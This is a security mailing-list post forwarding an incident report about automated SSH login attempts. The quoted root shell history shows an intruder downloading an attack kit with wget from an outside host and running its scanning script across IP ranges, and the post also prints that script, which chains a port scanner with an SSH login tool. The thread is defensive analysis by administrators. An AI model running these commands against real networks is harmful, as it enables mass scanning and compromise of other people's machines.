Re: [gentoo-security] [Fwd: [Full-Disclosure] Re: Automated SSH login attempts?]

[Rui Pedro Figueira Covelo]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I noticed that the .bash_history it's from the root account. Not guest
or test. If this .bash_history is real, the fact that someone got root
proves that someone used an exploit rather than guessing a weak password
of a guest or test account, right?





Dan Margolis wrote:
| I grabbed the tgz before it's too late. I plan on running it with a
| sniffer so I can see what it's doing--that should indicate whether it's
| really using some unknown ssh exploit (I'm afraid I'm not a whiz at
| disassembly, so I'd rather not take that route). I tend to think it's
| not; there was an OpenSSH vuln a while back that this guy's Debian
| machine might still be vulnerable to, if it wasn't patched in a year. If
| there were an unknown vulnerability, he'd be having a lot more success
| and we'd be seeing this a whole lot more (unless we're all rooted and
| don't know it).
|
| Anyone have any more information on this?
|
| -------- Original Message --------
|
| From: Stefan Janecek <stefan.janecek@×××.at>
| To: full-disclosure@××××××××××××.com
|
|
| Hmmm - I have also been getting those login attemps, but thought them to
| be harmless. Maybe they are not *that* harmless, though... Today I
| managed to get my hands on a machine that was originating such login
| attempts. I must admit I am far from being a linux security expert, but
| this is what I've found out up to now:
|
| Whoever broke into the machine did not take any attempts to cover up his
| tracks - this is what I found in /root/.bash_history:
|
| ------
| id
| uname -a
| w
| id
| ls
| wgte frauder.us/linux/ssh.tgz
| wget frauder.us/linux/ssh.tgz
| tar xzvf ssh.tgz
| tar xvf ssh.tgz
| ls
| cd ssh
| ls
| ./go.sh 195.178
| ls
| pico uniq.txt
| vi uniq.txt
| ls
| rm -rf uniq.txt
| ./go.sh 167.205
| ls
| rm -rf uniq.txt  vuln.txt
| ./go.sh 202.148.20
| ./go.sh 212.92
| ./go.sh 195.197
| ./go.sh 147.32
| ./go.sh 213.168
| ./go.sh 134.176
| ./go.sh 195.83
| ------
|
| um-hum. I downloaded 'ssh.tgz', it contains the script go.sh and two
| binaries:
|
| go.sh:
| -------
| ./ss 22 -b $1 -i eth0 -s 6
| cat bios.txt |sort | uniq > uniq.txt
| ./sshf
| -------
|
| * 'ss' apparently is some sort of portscanner
| * 'sshf' connects to every IP in uniq.txt and tries to log in as user
| 'test' first, then as user 'guest' (according to tcpdump).
|
| This does not seem to be a stupid brute force attack, as there is only
| one login attempt per user. Could it be that the tool tries to exploit
| some vulnerability in the sshd, and just tries to look harmless by using
| 'test' and 'guest' as usernames?
|
| The compromised machine was running an old debian woody installation
| which had not been upgraded for at least one year, the sshd version
| string says 'OpenSSH_3.6.1p2 Debian 1:3.6.1p2-10'
|
| As already mentioned, I am far from being an expert, but if I can assist
| in further testing, then let me know. Please CC me, I am not subscribed
| to the list.
|
| cheers,
| Stefan
|
|
|
|
|
|
| _______________________________________________
| Full-Disclosure - We believe in it.
| Charter: http://lists.netsys.com/full-disclosure-charter.html
|
|
| --
| Dan ("KrispyKringle")
| Gentoo Linux Security Coordinator

- --
gentoo-security@g.o mailing list


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFBCV1KfLPhlaxNQk0RAlhiAJ0eMuMOxJaKyA7MQqHRLS9nb8xvMACeLUUw
4SI/u5x1SFrI9TKwZ9Qc2Ho=
=DjVU
-----END PGP SIGNATURE-----

--
gentoo-security@g.o mailing list